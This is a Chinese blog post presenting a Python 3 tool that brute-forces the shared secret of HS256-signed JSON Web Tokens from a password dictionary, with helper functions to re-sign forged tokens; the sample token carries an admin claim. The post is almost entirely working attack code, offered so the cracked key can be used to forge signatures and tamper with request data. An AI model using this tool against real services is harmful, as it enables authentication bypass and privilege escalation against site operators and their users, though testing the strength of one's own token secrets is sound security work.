爆破jwt的hs256模式密码

使用python3写的一个jwt密码爆破工具

一、简介

  jwt的HS256模式,是对称加密,采用同一个密码对签名字段进行加解密,因此可以通过爆破的方式猜出这个密码。
  这样,就可以使用这个密码去伪造签名,达到修改jwt请求的数据。

二、代码

  导入的自编写模块,可以在博客置顶的《我的python3代码库》中找到。

 1 # -*- coding: utf-8 -*-
 2 import jwt
 3 import json
 4 import hashlib
 5 import hmac
 6 import base64
 7 import time
 8 from lib.core.w_processPool import MyProcessPool
 9 from lib.file.file_Class import readFile,writeFile
10 from conf.conf import base_root
11 
12 #多进程爆破jwt hs256所采用的密码
13 def weakPwdCrack_jwt(token,code='ascii',key_list=None,resultFile=None):
14     if key_list == None:
15         key_list = readFile('{}payload/dict/passwd_1w.txt'.format(base_root))
16     if resultFile == None:
17         resultFile = '{}result/jwt_{}.txt'.format(base_root,time.time())
18 
19     myProcess = MyProcessPool(jwtCrack, key_list,other_args=token)
20     myProcess.start()
21     writeFile(resultFile, '[FOUND] key:{}'.format(myProcess.result))
22 
23 # 猜测jwt hs256的密码,如果成功,则返回密码,不成功返回False
24 def jwtCrack(key, token, code='ascii'):
25     token_split = token.split('.')
26     header_1 = token_split[0]
27     header_1 += len(header_1)%4*'='
28     headers_dict = json.loads(base64.b64decode(header_1))
29     if headers_dict['alg'] != 'HS256':
30         raise Exception('algorithm is not HS256 !')
31         exit(0)
32     sign = getJWTSign(key, token_split[0], token_split[1])
33     if sign == token_split[2]:
34         # print('key:{},sign:{} == {}'.format(key,sign,token_split[2]))
35         print('[FOUND] key:{}'.format(key))
36         return key
37     else:
38         pass
39         # print('key:{},sign:{} != {}'.format(key, sign, token_split[2]))
40         # print('{} is wrong !'.format(key))
41 
42 #生成jwt
43 def encodeJWT(key,payload,headers=None,code='ascii'):
44     if headers == None:
45         headers = {"typ": "JWT", "alg": "HS256"}
46     return jwt.encode(payload,key,algorithm="HS256",headers=headers).decode(code)
47 
48 #解密jwt
49 def decodeJWT(key,token):
50     data = None
51     try:
52         data = jwt.decode(token,key,algorithms=['HS256'])
53     except Exception as e:
54         print(e)
55     return data
56 
57 #把数据和key组合进行hs256加密
58 def HMACSHA256(key,data,code='ascii'):
59     try:
60         signature = base64.b64encode(hmac.new(key.encode(code),data.encode(code), digestmod=hashlib.sha256).digest())
61         return signature.decode(code)
62     except:
63         pass
64         return 'wrong'
65 
66 #把jwt的第1部分和第2部分组合,得到第3部分的签名
67 def getJWTSign(key,part1,part2,code='ascii'):
68     sign = HMACSHA256(key,part1+'.'+part2,code)
69     return sign.replace('/','_').replace('=','').replace('+','-')
70 
71 if __name__ == '__main__':
72     token = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImp0aSI6IjExNDc5YmQzLWI3ZmMtNGZhOS04ZTExLWUzZDhmYTcyZWU2ZCIsImlhdCI6MTU5MzUwMDU3NCwiZXhwIjoxNTkzNTA0MTc0fQ.mKmMrmUqKiBiaSOeJKQK3id_28-LtrlFxC2ZVMnJmPM'
73     weakPwdCrack_jwt(token)
74     # print(decodeJWT('secret',token))
75     # print(encodeJWT('secret',{'sub': '1234567890', 'name': 'John Doe', 'admin': True, 'jti': '11479bd3-b7fc-4fa9-8e11-e3d8fa72ee6d', 'iat': 1593500574, 'exp': 1593504174}))
View Code

 

posted @ 2020-07-30 09:33  hanbufei  阅读(4110)  评论(0编辑  收藏  举报